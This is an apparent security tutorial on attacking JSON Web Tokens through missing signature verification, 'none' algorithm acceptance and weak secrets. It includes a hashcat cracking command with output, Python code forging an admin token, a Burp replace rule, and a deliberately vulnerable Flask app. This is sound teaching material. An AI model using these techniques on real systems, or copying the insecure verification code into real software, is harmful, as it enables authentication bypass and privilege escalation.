JSON Web Tokens

Modern web applications and APIs use JSON Web Tokens (JWTs) for authentication and authorisation. Their stateless nature makes them ideal for distributed systems.

In this article, we’re going to be looking at three common attacks against JWT tokens.

  • Missing Signature Verification
  • Null Algorithms
  • Weak Secrets

JWT Structure

A JWT consists of three Base64URL-encoded components separated by full stop characters:

header.payload.signature

For example:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.             # Header
eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIifQ.   # Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c       # Claims

Headers contain metadata about the token. In the below output we can HS256 is used. This is a HMAC (Hash-based Message Authentication Code) using SHA-256 as the hash function and a shared secret key.

{
  : "HS256",
  : "JWT"
}

The payload contains claims:

{
  "username": "alice",
  "role": "user"
}

Signatures are used to verify the tokens integrity.

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret
)

Parsing JWT Tokens

We will use a Python Flask application to demonstrate JWT vulnerabilities. You can find this at the end of the article here.

Running the Flask application will start a local webserver running on port 5000.

Clicking the Login button provides us with a generated JWT token.

The token can be decoded using the following CyberChef recipe.

URL_Decode(true)Fork('.','\\n',false)From_Base64('A-Za-z0-9%2B/%3D',true,false)Filter('Line feed','^{.*}$',false)JSON_Beautify('%20%20%20 ',false,true)&input=ZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SjFjMlZ5Ym1GdFpTSTZJbUZzYVdObElpd2ljbTlzWlNJNkluVnpaWElpZlEuMkFYUE1GQXczRjdkZzFqakl4R1huWktXNldTX0NsTG40amVsa3JqcW5wZw

BurpSuite decoder can also automatically decode JWT token elements. Just highlight a component (not the whole JWT) and it should allow you to view and edit the contained values.


Missing Signature Verification

If signature verification is not performed correctly, an attacker can modify the token payload to alter claims. In this instance, we set alice’s role to an administrator.

Because the signature is not being checked, modifying the role value will allow us to authenticate as the administrative user.


Null Algorithms

The JWT specification is designed to allow a number of cryptographic algorithms. Some implementations allow selecting a “none” algorithm which disables signature verification.

As before, we alter the role in the payload to an administrator, but also set the algorithm to none.


Weak Secrets

If a simple password is used for the HMAC function, we may be able to determine what it is by bruteforcing the token.

Hashcat can be used to identify weak passwords used for signatures using mode 16500.

hashcat -a 0 -m 16500 JWT.txt /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 513 MB (2536 MB free)

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFsaWNlIiwicm9sZSI6InVzZXIifQ.jSdAwoV2fRBmI2JnHvNgO3LhpXYbiByR3YSx0grcpyE:password

Now we know the secret, we can use some Python code to create a new token.

import jwt
import datetime

secret = "password"

payload = {
    "username": "alice",
    "role": "admin"
}

token = jwt.encode(payload, secret, algorithm="HS256")

print(token)

python  token_create.py 
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFsaWNlIiwicm9sZSI6ImFkbWluIn0.K833sM0kckUXg6PJImJrjiYWruoUuwKWA6ecV1Albrg

Vulnerability Scanning

The JWT scanner extension that’s available in BurpSuite professional can be used to quickly identify the above issues.


Automatically Updating Bearer Values

Once you have identified a method to alter a JWT value, you will likely want to ensure all new requests to the web application included your modified value (rather than having to intercept each request).

In BurpSuite, go to the proxy tab and select Proxy Settings > Proxy > HTTP match and replace rules.

Add a new rule matching:

Authorization: Bearer .*

With the replace value of your new JWT value.

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFsaWNlIiwicm9sZSI6ImFkbWluIn0.K833sM0kckUXg6PJImJrjiYWruoUuwKWA6ecV1Albrg

Vulnerable Application

The below Flask application can be used to test JWT vulnerabilities locally.

from flask import Flask, request, jsonify
import jwt

app = Flask(__name__)

JWT_SECRET = "password"


# -------------------------
# UI
# -------------------------
@app.route("/")
def ui():
    return """
<!doctype html>
<html>
<head>
    <title>JWT Security</title>
    <style>
        body { font-family: Arial; margin: 20px; }
        textarea { width: 100%; }
        button { margin: 5px 0; padding: 10px; }
        pre { background: #111; color: #0f0; padding: 10px; }
    </style>
</head>
<body>

<h2>JWT Security</h2>

<button onclick="login()">Login (get token)</button>

<p><b>Token:</b></p>
<textarea id="token" rows="6"></textarea>

<hr>

<h3>Vulnerable Admin Endpoints</h3>

<button onclick="sendToAdmin('no-signature')">
    Missing Signature Verification
</button>

<button onclick="sendToAdmin('none-alg')">
    Null Algorithm (alg=none)
</button>

<button onclick="sendToAdmin('weak-key')">
    Weak Key
</button>

<h3>Response</h3>
<pre id="output"></pre>

<script>
async function login() {
    const res = await fetch("/login");
    const data = await res.json();

    document.getElementById("token").value = data.token;
    document.getElementById("output").textContent =
        "Token generated via /login";
}

async function sendToAdmin(mode) {
    const token = document.getElementById("token").value;

    const res = await fetch("/admin/" + mode, {
        method: "GET",
        headers: {
            "Authorization": "Bearer " + token
        }
    });

    const data = await res.json();
    document.getElementById("output").textContent =
        JSON.stringify(data, null, 2);
}
</script>

</body>
</html>
"""

@app.route("/login")
def login():
    payload = {
        "username": "alice",
        "role": "user"
    }

    token = jwt.encode(
        payload,
        JWT_SECRET,
        algorithm="HS256"
    )

    return jsonify({"token": token})


# VULNERABLE ADMIN ROUTES
@app.route("/admin/<mode>")
def admin(mode):
    auth_header = request.headers.get("Authorization")

    if not auth_header:
        return jsonify({"error": "Missing token"}), 401

    token = auth_header.replace("Bearer ", "")

    try:
        header = jwt.get_unverified_header(token)

        # 1. Missing Signature Verification
        if mode == "no-signature":
            payload = jwt.decode(
                token,
                options={"verify_signature": False}
            )

        # 2. None algorithm acceptance
        elif mode == "none-alg":
            if header.get("alg") == "none":
                payload = jwt.decode(
                    token,
                    options={"verify_signature": False}
                )
            else:
                payload = jwt.decode(
                    token,
                    JWT_SECRET,
                    algorithms=["HS256"]
                )

        # 3. Weak key
        elif mode == "weak-key":
            weak_secret = "password"

            payload = jwt.decode(
                token,
                weak_secret,
                algorithms=["HS256"]
            )

        else:
            return jsonify({"error": "Invalid mode"}), 400

        # Shared authorization logic
        if payload.get("role") == "admin":
            return jsonify({
                "mode": mode,
                "message": "Welcome administrator"
            })

        return jsonify({
            "mode": mode,
            "message": "Access denied"
        }), 403

    except Exception as e:
        return jsonify({"error": str(e)}), 401

if __name__ == "__main__":
    app.run(debug=True)


In Conclusion

JWT security is heavily dependent on correct implementation. Misconfigurations such as missing signature verification, unsafe handling of the “none” algorithm, and reliance on weak or guessable secrets can completely undermine the integrity of the authentication process.